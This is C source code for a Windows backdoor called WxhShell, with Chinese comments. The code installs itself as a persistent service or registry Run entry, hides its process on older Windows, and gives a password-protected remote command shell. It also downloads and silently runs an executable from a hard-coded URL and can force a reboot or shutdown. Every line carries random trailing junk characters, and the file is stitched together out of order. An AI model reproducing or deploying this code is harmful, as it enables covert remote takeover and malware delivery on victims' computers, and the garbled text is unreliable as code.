    closesocket(wsh); UFOUkS F  
    ExitThread(0); #@^mA{Dt5  
    } m&&Y=2  
    break; L3s1a -K  
    } o)}M$}4  
  // 获取shell s ~ Xa=_+D  
  case 's': { ,!i!q[YkL9  
    CmdShell(wsh); 67]kT%0  
    closesocket(wsh); ;+6TZqklQ  
    ExitThread(0); Kb icP<  
    break; ,%!E-gr  
  } L';b908r2  
  // 退出 {<J(*K*\Jo  
  case 'x': { UU;U,q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ab/^z0GT  
    CloseIt(wsh); QY}1i .f  
    break; *41 2)zEy  
    } 6&qT1nF1  
  // 离开  =o? Q0  
  case 'q': { gfU@`A_N"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $6Az\Iu *  
    closesocket(wsh); wSGW_{;-  
    WSACleanup(); %'`L+y  
    exit(1); qy$1+>f1  
    break; |u5Xi5q.f  
        } T x 6\  
  } M%S.Z4D (0  
  } |Js?@  
Ak=|wY{  
  // 提示信息 Q}(D^rGP3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;"T,3JQPn6  
} 7!kbe2/]'  
  } t,4'\nv*  
Of?3|I3 l  
  return; }(-2a*Z;Y  
} 0[QVU,]<  
=E~)svl6g  
// shell模块句柄 tg|7\Z7i  
int CmdShell(SOCKET sock) hY5tBL  
{ ,2*x4Gycb  
STARTUPINFO si; z!> H^v  
ZeroMemory(&si,sizeof(si)); Z}NMDb:t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dc;zgLLL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 8n`VmH~L  
PROCESS_INFORMATION ProcessInfo; l<"Z?z  
char cmdline[]="cmd"; ~IIlCmMl,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *s[bq;$  
  return 0; WN`|5"?$  
} 2J0N]`|)  
*$/!.e  
// 自身启动模式 iM'rl0  
int StartFromService(void) z($h7TZ$  
{ eJ2$DgB}t  
typedef struct Pko2fJt1  
{ J*}Qnl+  
  DWORD ExitStatus; ?loP18S b  
  DWORD PebBaseAddress; xzrA%1y  
  DWORD AffinityMask; {=A8kgt  
  DWORD BasePriority; yD\[`!sWk  
  ULONG UniqueProcessId; tIJ?caX5=  
  ULONG InheritedFromUniqueProcessId; 2 ,bLEhu  
}   PROCESS_BASIC_INFORMATION; 6O9?":3;  
!^m,v19Ds<  
PROCNTQSIP NtQueryInformationProcess; S(MVL!Lm  
x}(p\Efx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 ^q~NYTK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; trAIh}Dj  
Uc>$w?oA  
  HANDLE             hProcess; ~Q36lR  
  PROCESS_BASIC_INFORMATION pbi; tuWJj^  
9X%H$>s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SRfnT?u6  
  if(NULL == hInst ) return 0; Vub ($  
qQ=\R1l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +\@}IKWl-?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w]Byl3}Gt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R3\oLT4  
E>2~cC*  
  if (!NtQueryInformationProcess) return 0; v==]v2 -  
/ltGSl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G j9WUv[P  
  if(!hProcess) return 0; WK)2/$7@  
;E0aTV)Zp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :^H#i:4  
c(5r  
  CloseHandle(hProcess); fBZAO  
<~ 9a3c?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nPh| rW=  
if(hProcess==NULL) return 0; U5!T-o;3}  
`:&jbd4H  
HMODULE hMod; B^yA+&3HI  
char procName[255]; Cg4l*"_  
unsigned long cbNeeded; hantGw |  
"PhP1;A9,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xfsf  
kH9P(`;Vq  
  CloseHandle(hProcess); .*_uXQ  
B!X;T9^d  
if(strstr(procName,"services")) return 1; // 以服务启动 p.50BcDg  
2zQ62t}  
  return 0; // 注册表启动 V\4zK$]  
} ` 0}z ;&:  
!`$xN~_  
// 主模块 [ _N w5_  
int StartWxhshell(LPSTR lpCmdLine) gdKn!; ,w#  
{ [Kc"L+H\  
  SOCKET wsl; &]xOjv/?  
BOOL val=TRUE; U`w `Cr  
  int port=0; {6,  l#z  
  struct sockaddr_in door; .W/#$s|X\  
N# ?}r>W3  
  if(wscfg.ws_autoins) Install(); $~s|%>@  
=k +nC)e  
port=atoi(lpCmdLine); e <]^7pz  
0%f}w0]:  
if(port<=0) port=wscfg.ws_port; XNd%3rm,  
7>sNjOt@M  
  WSADATA data; 52H'aHO1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b IZuZF>*  
L2GUrf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n +R3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P g{/tM Y  
  door.sin_family = AF_INET; A.@/~\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yR|Beno  
  door.sin_port = htons(port); Mb0l*'ZF  
E]<Ce;Vj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l]wjH5mz=i  
closesocket(wsl); 0[SJ7k19  
return 1; S.Rqu+  
} S( nZ]QEG  
g4"0:^/  
  if(listen(wsl,2) == INVALID_SOCKET) { { t1|6R0  
closesocket(wsl); t<%S_J\  
return 1; S>y(3E]I  
} #x^dR-@   
  Wxhshell(wsl); Cvk n2T  
  WSACleanup(); 6~#$bp^-  
gqCDF H  
return 0; czH`a=mjH  
rQ+2 -|#  
} 8;vpa*  
o fw0_)!Q  
// 以NT服务方式启动 U0Q:sA U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) : U:>X6f  
{ q[rBu9  
DWORD   status = 0; `~ ,  
  DWORD   specificError = 0xfffffff; 14LOeo5O  
eq<giHJM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P}dhpU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vsDR@Y}k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *pMu,?uE  
  serviceStatus.dwWin32ExitCode     = 0; <XAW-m9SC  
  serviceStatus.dwServiceSpecificExitCode = 0; W{6%Hh p  
  serviceStatus.dwCheckPoint       = 0; djGzJLH  
  serviceStatus.dwWaitHint       = 0; +2WvGRC  
H/Wo~$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I<v:x Tor  
  if (hServiceStatusHandle==0) return; ?oKY"C8/  
h_{//W[  
status = GetLastError(); PX%Y$`  
  if (status!=NO_ERROR) 4IEF{"c_8  
{ g*uo2-MN&e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sh|@X\EZO  
    serviceStatus.dwCheckPoint       = 0; aLKvl~s;m  
    serviceStatus.dwWaitHint       = 0; GLIe8T*ht  
    serviceStatus.dwWin32ExitCode     = status; N9s ,..  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4Z"JC9As  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vi :IO  
    return; Ev'Bm Dk  
  } ,cg%t9  
fsr0E=nV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  | D?lF  
  serviceStatus.dwCheckPoint       = 0; a`:ag~op@&  
  serviceStatus.dwWaitHint       = 0; icnc5G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NDt +m  
} NE'4atQ|  
B"9/+Yj  
// 处理NT服务事件,比如:启动、停止 5qx,b&^w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AnUOv 2  
{ ,*Vt53@E  
switch(fdwControl) Q:/BC= ~  
{ F N)vFQ#J  
case SERVICE_CONTROL_STOP: kq m$a  
  serviceStatus.dwWin32ExitCode = 0; 9iWs'M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  b}eBy  
  serviceStatus.dwCheckPoint   = 0; ?mjQN|D  
  serviceStatus.dwWaitHint     = 0; ^/k`URQ  
  { v o9Fj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O_n) 2t(c?  
  } acXB vs  
  return; No1*~EQ  
case SERVICE_CONTROL_PAUSE: MK*WStY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^71!.b%  
  break; /1Q i9uit  
case SERVICE_CONTROL_CONTINUE: VXpbmg!{S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P%-@AmO^_  
  break; )w.\xA~|  
case SERVICE_CONTROL_INTERROGATE: ^{vf|zZ _  
  break; /<\B8^yQ  
}; mnwYv..ePz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LZ"yMnhOf  
} W%)uKQha  
ebuR-9  
// 标准应用程序主函数 Ki"o0u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $xWebz0  
{ :())%Xu3  
qg(rG5kD@  
// 获取操作系统版本 lM<SoC;[  
OsIsNt=GetOsVer(); 0d%p<c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tk"+PTGJT  
4IW7^Pq`P  
  // 从命令行安装 }E}b/ulg1  
  if(strpbrk(lpCmdLine,"iI")) Install(); pu"`*NL  
3O W) %  
  // 下载执行文件 (zm5 4 Vm  
if(wscfg.ws_downexe) { >*5+{~k~4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RH+'"f  
  WinExec(wscfg.ws_filenam,SW_HIDE); b.<>CG'  
} `9+>2*k  
v@6TC1M,  
if(!OsIsNt) { x9c/;Q &m  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hvm+Tr2@  
HideProc(); bg8<}~zg  
StartWxhshell(lpCmdLine); cP4K9:k  
} k>N >_{\  
else Pd,+= ML  
  if(StartFromService()) eTV%+  
  // 以服务方式启动 Mk*&CNo3  
  StartServiceCtrlDispatcher(DispatchTable); Zv`j+b  
else +&w=*IAKZ  
  // 普通方式启动 q $Hg\ {c  
  StartWxhshell(lpCmdLine); XuQ7nlbnq  
ZW]Q|vPh4U  
return 0; 7,\Uk|  
} m}x&]">9  
| CC(`<\R  
`@Q%}J  
~B NLzt3%O  
=========================================== ?Q~6\xA  
Pmj]"7Vd[  
BZXP%{njS  
#b~wIOR)Z  
Llf |fayq  
ed,w-;(n~  
" >@2l/x8;  
Dn 6k,nVh  
#include <stdio.h> `o9vE0^T<  
#include <string.h> W.xlS ZEB  
#include <windows.h> F^ m`j6  
#include <winsock2.h> UeG$lMV  
#include <winsvc.h> SX{sh M2  
#include <urlmon.h> yMQuM :d  
yAu-BObD  
#pragma comment (lib, "Ws2_32.lib") PgKA>50a  
#pragma comment (lib, "urlmon.lib") 1I?D$I>CV  
}HM8VAH  
#define MAX_USER   100 // 最大客户端连接数 lF:gQ]oc  
#define BUF_SOCK   200 // sock buffer 6z^Kg~a   
#define KEY_BUFF   255 // 输入 buffer 4{:W5eT!/  
$II[b-X?S  
#define REBOOT     0   // 重启 /\%K7\  
#define SHUTDOWN   1   // 关机 Q]';1#J\  
H$^b.5K  
#define DEF_PORT   5000 // 监听端口 9I a4PPEH1  
?G5JAG`  
#define REG_LEN     16   // 注册表键长度 .b4_O CGg  
#define SVC_LEN     80   // NT服务名长度 9.KOrg5}L  
:qV}v2  
// 从dll定义API %SRUHx[D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1PMBo=SUe8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d9zI A6y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >uok\sX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @#T*OH  
dQ=mg#(  
// wxhshell配置信息 hcw)qB,s  
struct WSCFG { KzQ\A!qG  
  int ws_port;         // 监听端口 _YXk ,ME!Q  
  char ws_passstr[REG_LEN]; // 口令 ?|8QL9Q"|  
  int ws_autoins;       // 安装标记, 1=yes 0=no dOm#NSJVd  
  char ws_regname[REG_LEN]; // 注册表键名 f`5e0;zm  
  char ws_svcname[REG_LEN]; // 服务名 >IW0YIQy,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;79X# hI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AsRS7V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `<Z5/;a5W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8oSndfV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" or_x0Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1cE3uA7  
U!:Q|':=h  
}; D6iHkDTg  
ti:qOSIDTA  
// default Wxhshell configuration 7$(>Z^ Em  
struct WSCFG wscfg={DEF_PORT, a!,q\p8<t0  
    "xuhuanlingzhe", ~q]+\qty4  
    1, ^h+<Q%'a'  
    "Wxhshell", 10v4k<xb  
    "Wxhshell", 6V=69}  
            "WxhShell Service", Q 'R@'W9  
    "Wrsky Windows CmdShell Service", })Og sBk  
    "Please Input Your Password: ", `}1IQ.3  
  1, B2~KkMF  
  "http://www.wrsky.com/wxhshell.exe", DLYk#d: q?  
  "Wxhshell.exe" 0]l _qxv  
    }; kji*7a?y  
QE&rpF7l{  
// 消息定义模块 PaF`dnJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )%q]?@kB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FbB> Md;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4h>Dpml  
char *msg_ws_ext="\n\rExit."; @ 8yV15!  
char *msg_ws_end="\n\rQuit."; Egv (n@1  
char *msg_ws_boot="\n\rReboot..."; 8LP L4l  
char *msg_ws_poff="\n\rShutdown..."; _ x&Y'X|  
char *msg_ws_down="\n\rSave to "; 8(UUc>g  
ylF%6!V}4V  
char *msg_ws_err="\n\rErr!"; ':8yp|A|  
char *msg_ws_ok="\n\rOK!"; >Vr+\c  
zbdmz  
char ExeFile[MAX_PATH]; ?Kw~O"L8  
int nUser = 0; {n8mE,;M  
HANDLE handles[MAX_USER]; 3^l@!Qw  
int OsIsNt; +K4d(!Sb  
*%L:soM'Ll  
SERVICE_STATUS       serviceStatus; `7qZ6Z3z@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =[!&&,c=  
\2#>@6Sqrl  
// 函数声明 dxkq*  
int Install(void); j nvi_Rodm  
int Uninstall(void); YC#N],#  
int DownloadFile(char *sURL, SOCKET wsh); j  )6A  
int Boot(int flag); +E7s[9/r  
void HideProc(void); -QL_a8NL  
int GetOsVer(void); {D1"bDZ  
int Wxhshell(SOCKET wsl); Ml1sE,BT  
void TalkWithClient(void *cs); <rc?EV  
int CmdShell(SOCKET sock); / %}Xiqlrd  
int StartFromService(void); q]3bGO;  
int StartWxhshell(LPSTR lpCmdLine); ^9zL[R  
 V3WHp'1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +]-~UsM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bCY8CIF  
tz-, |n0  
// 数据结构和表定义 ec/1Z8}p  
SERVICE_TABLE_ENTRY DispatchTable[] = z{U2K '  
{ (]0JI1 d  
{wscfg.ws_svcname, NTServiceMain}, 8^CdE*a  
{NULL, NULL} =Jfo=`da  
}; tgy*!B6a~  
|Id0+-V ?  
// 自我安装 8%]o6'd4  
int Install(void) h.@5vhD  
{ ( /{Wu:e  
  char svExeFile[MAX_PATH]; hER]%)#r  
  HKEY key; ,$ L>  
  strcpy(svExeFile,ExeFile); )%lPa|7s  
[V_Z9-f*  
// 如果是win9x系统,修改注册表设为自启动 bhaIi>W~G  
if(!OsIsNt) { T!C39T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :B?C~U k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jovI8Dw >  
  RegCloseKey(key); UN'[sHjOnD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?s[ kUv+=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uc]]zI6  
  RegCloseKey(key); -ju&"L B  
  return 0; 1e.V%!Xk  
    } m,KG}KX  
  } XVcY?_AS#  
} (LzVWz m  
else { 4{JoeIRyz  
:/ ,h)h)|  
// 如果是NT以上系统,安装为系统服务 ehB (?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >ENZ['F  
if (schSCManager!=0) XlP q>@4p  
{ R{"Kh2q_  
  SC_HANDLE schService = CreateService Mz,G;x}  
  ( WPT0=Hqp7  
  schSCManager, U_ELeW5@  
  wscfg.ws_svcname, 555j@  
  wscfg.ws_svcdisp, NO5\|.,Z  
  SERVICE_ALL_ACCESS, KECo7i=e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &5:83#*Oj  
  SERVICE_AUTO_START, qScc~i Oq  
  SERVICE_ERROR_NORMAL, 9<BC6M_/  
  svExeFile, X}*\/(fzl  
  NULL, 8UiRirw  
  NULL, ^ Q]I)U  
  NULL, W8{g<. /  
  NULL, z\wY3pIr2  
  NULL 34S0W]V  
  ); &Z!O   
  if (schService!=0) yClX!OL  
  { -?L~\WJAL  
  CloseServiceHandle(schService); G^E"#F  
  CloseServiceHandle(schSCManager); Kx,#Wg{H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Au'WJfE  
  strcat(svExeFile,wscfg.ws_svcname); [?z`XY_-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?`ETlFtD4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .|Unq`ll  
  RegCloseKey(key); 6v(?Lr`D  
  return 0; 1vw [{.wC  
    } z2'3P{#s  
  } aQzDOeTi  
  CloseServiceHandle(schSCManager); ,gAa9  
} oD1rt>k  
} LsB|}_j7  
8$)xxV_zp  
return 1; ;7,>2VTm  
} _Q XC5i  
66ULR&D8  
// 自我卸载 PM ]|S`  
int Uninstall(void) WbF[4 x  
{ 6! `^}4  
  HKEY key; #Bu W  
IZ?+c@t  
if(!OsIsNt) { j{QzD^t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { miWog8j  
  RegDeleteValue(key,wscfg.ws_regname); {v CB$@/o  
  RegCloseKey(key); ;1x(~pD*o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =+>cTV  
  RegDeleteValue(key,wscfg.ws_regname); .8[*`%K>  
  RegCloseKey(key); tZ|0wPp  
  return 0; )wT @`p"4  
  } _,r2g8qm  
} d2'1 6.lV  
} nh"8on]M~  
else { Klr+\R@(n  
#R^^XG`1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T,G38  
if (schSCManager!=0) )>-94xx|  
{ D1G9^7:^E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wz[Xay9jW  
  if (schService!=0) rnNB!T   
  { 4v[Zhf4JM  
  if(DeleteService(schService)!=0) { 2iX57-6Ub  
  CloseServiceHandle(schService); 6l Suzu  
  CloseServiceHandle(schSCManager); Rda~Drz  
  return 0; y}5:CZ  
  } ULT,>S6r  
  CloseServiceHandle(schService); t[=-4;  
  } ^&[Z@*A8#  
  CloseServiceHandle(schSCManager); dMw7UJ  
} Ec2?'*s   
} :X+!W_xR  
 (zIWJJw  
return 1; 1s\   
} qnO>F^itF  
r2b_$  
// 从指定url下载文件 o57r ,`N  
int DownloadFile(char *sURL, SOCKET wsh) pDYcsC{p  
{ rf\/Y"D  
  HRESULT hr; I \Luw*:  
char seps[]= "/"; .I h'&  
char *token; n^[VN[ VC  
char *file; X}f u $2  
char myURL[MAX_PATH]; %p; 'l  
char myFILE[MAX_PATH]; `J l/@bE=  
AQ)DiH  
strcpy(myURL,sURL); 1\u{1 V  
  token=strtok(myURL,seps); !_i;6UVG  
  while(token!=NULL) QZZt9rA;  
  { 5Z]]xR[  
    file=token; \bXusLI!l  
  token=strtok(NULL,seps); (JX 9c  
  } /^M|$JRI  
z79c30y]"  
GetCurrentDirectory(MAX_PATH,myFILE); BmhIKXE{*  
strcat(myFILE, "\\"); i:/Ws1=q  
strcat(myFILE, file); q+ZN$4m  
  send(wsh,myFILE,strlen(myFILE),0); OyG#  
send(wsh,"...",3,0); *4 HogC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n.l7V<1  
  if(hr==S_OK) H*KZZTKd  
return 0; W ])Lc3X  
else JmBe1"hs  
return 1; ^.g BHZ  
UlD]!5NO  
} R!z32 <5k  
`fM]3]x>  
// 系统电源模块 E7`Q =4@e  
int Boot(int flag) KAI/*G\z  
{ @h E7F}  
  HANDLE hToken; Ge_Gx*R  
  TOKEN_PRIVILEGES tkp; e8,!x9%J  
%=*nJvYS  
  if(OsIsNt) { *]K/8MbiF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o=)["V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <FofRFaS  
    tkp.PrivilegeCount = 1; uXuA4o$t-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N~! G AaD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sZh| <2  
if(flag==REBOOT) { lHI?GiB@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y'U]!c9  
  return 0; n4A#T#D!t3  
} s`dwE*~  
else { 9D`p2cO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YZ(tjIgQ  
  return 0; ,t|qhJF  
} Lk`,mjhk  
  } ~ !7!Y~(+  
  else { bNh~=[E  
if(flag==REBOOT) { hi0-Sw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wQw&.)T  
  return 0; g;-6Hg'  
} w:3CWF4q]  
else { OhW o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L|y 9T {s  
  return 0; *-,jIaL;  
} H$)__V5I,q  
} "QLp%B,A  
#>_5PdO  
return 1; ?Zh,W(7W  
} XY)I~6$Y  
IfzW%UL  
// win9x进程隐藏模块 =@*P})w5.  
void HideProc(void) Eoh{+>:6  
{ q Oyo+hu  
*z }<eq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xf6\{  
  if ( hKernel != NULL ) S]g`Ds<  
  { 9Ac4'L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bFB.hkTP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g$T% C?  
    FreeLibrary(hKernel); HLb`'TC3r+  
  } |_u|Td(n  
m ?#WQf  
return; Jq8:33s   
} <7*d2  
W{X5~w(  
// 获取操作系统版本 8dlhL8#  
int GetOsVer(void) 7OdJ&Gzd  
{ /;;$9O9  
  OSVERSIONINFO winfo; Y*-dUJK-`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,tl(\4n  
  GetVersionEx(&winfo); M-zqD8D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P.W@5:sD  
  return 1; V2o1~R~  
  else 58[.]f~0  
  return 0; zOn% \  
} d 6=Z=4w  
<o: O<p@6  
// 客户端句柄模块 Xu%8Q?]  
int Wxhshell(SOCKET wsl) 7R#$Hm  
{ $^5c8wT  
  SOCKET wsh; bOdQ+Y6  
  struct sockaddr_in client; vC%Hc/&.}  
  DWORD myID; "7}e~*bM?`  
get$ r5  
  while(nUser<MAX_USER) )~C+nb '6/  
{ 4O '%$6KR(  
  int nSize=sizeof(client); ,jJbQIu#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 19*D*dkBR  
  if(wsh==INVALID_SOCKET) return 1; LNOz.2fr>  
-:|t^RM;FT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I`uOsZBO/  
if(handles[nUser]==0) _5H0<%\  
  closesocket(wsh); >vZ^D  
else v O@7o  
  nUser++; CH] +S>$  
  } qrkJ:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~mk>9Gp  
,Wlw#1fP  
  return 0; 1+9}Xnxb  
} ,niQs+'<  
{(_>A\zi  
// 关闭 socket 5uO.@0  
void CloseIt(SOCKET wsh) ]}d.h!`<)  
{ iu'At7  
closesocket(wsh); >"<<hjKJ  
nUser--; 8?G534*r@2  
ExitThread(0); 7"p%c`*;  
} <>R\lPI2  
66l+cb  
// 客户端请求句柄 &b=OT%D~FU  
void TalkWithClient(void *cs) Z>_F:1x  
{ M&5De{LS}  
{8w,{p`  
  SOCKET wsh=(SOCKET)cs; qU+q Y2S:  
  char pwd[SVC_LEN]; vxl!`$Pi  
  char cmd[KEY_BUFF]; C~c|};&%  
char chr[1]; O=\`q6l  
int i,j; VL/KC-6  
Xr]<v%,C  
  while (nUser < MAX_USER) { p{w:^l(  
0'O6-1Li  
if(wscfg.ws_passstr) { .Gn-`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * %w8bB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2'7)D}p  
  //ZeroMemory(pwd,KEY_BUFF); :0vKt 6>Sp  
      i=0; 8~:s$~&r  
  while(i<SVC_LEN) { 0jMS!"k   
zTW)SX_O  
  // 设置超时 Qkx}A7sK  
  fd_set FdRead; bxvpj  
  struct timeval TimeOut; >36>{b<'$*  
  FD_ZERO(&FdRead); ?^!: Lw  
  FD_SET(wsh,&FdRead); WNo<0|X  
  TimeOut.tv_sec=8; sO 0j!;N  
  TimeOut.tv_usec=0; '=cAdja  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !xz{X?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MBO>.M$B  
xM D]b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >/9on.  
  pwd=chr[0]; yN9setw*,M  
  if(chr[0]==0xd || chr[0]==0xa) { a"whg~  
  pwd=0; e8VtKVcY  
  break; gbjql+Mx+  
  } pXl *`[0X#  
  i++; LHHDD\X   
    } c-=z<:Kf  
 y aLc~K  
  // 如果是非法用户,关闭 socket k*!f@ M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?~WDl j3  
} QRlrcauM  
z~\Y*\f^Y3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5v5K}hx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cnR18NK  
:i/uRR  
while(1) { 0%;y'd**Ck  
*L=F2wW  
  ZeroMemory(cmd,KEY_BUFF); BiD}C  
H\<^p",`  
      // 自动支持客户端 telnet标准   =O'>H](Q  
  j=0; TmUN@h  
  while(j<KEY_BUFF) { 1 2J#}|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "cx#6Bo|  
  cmd[j]=chr[0];  :qrCqFl  
  if(chr[0]==0xa || chr[0]==0xd) { r"x/,!_E  
  cmd[j]=0; on)$y&lu  
  break; BOWR}n!g  
  } `m=u2kxY  
  j++; 'h{| ]  
    } :{M1]0 NH  
"Is0:au+?}  
  // 下载文件 S|/Za".Gr  
  if(strstr(cmd,"http://")) { /=~o|-n8@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 97MbyEE8J  
  if(DownloadFile(cmd,wsh)) Iv51,0A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4=7h1qex  
  else F9 2et<y.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4NRG{FZ9  
  } qN(,8P\90  
  else { T Y*uK  
,Ep41v;T%`  
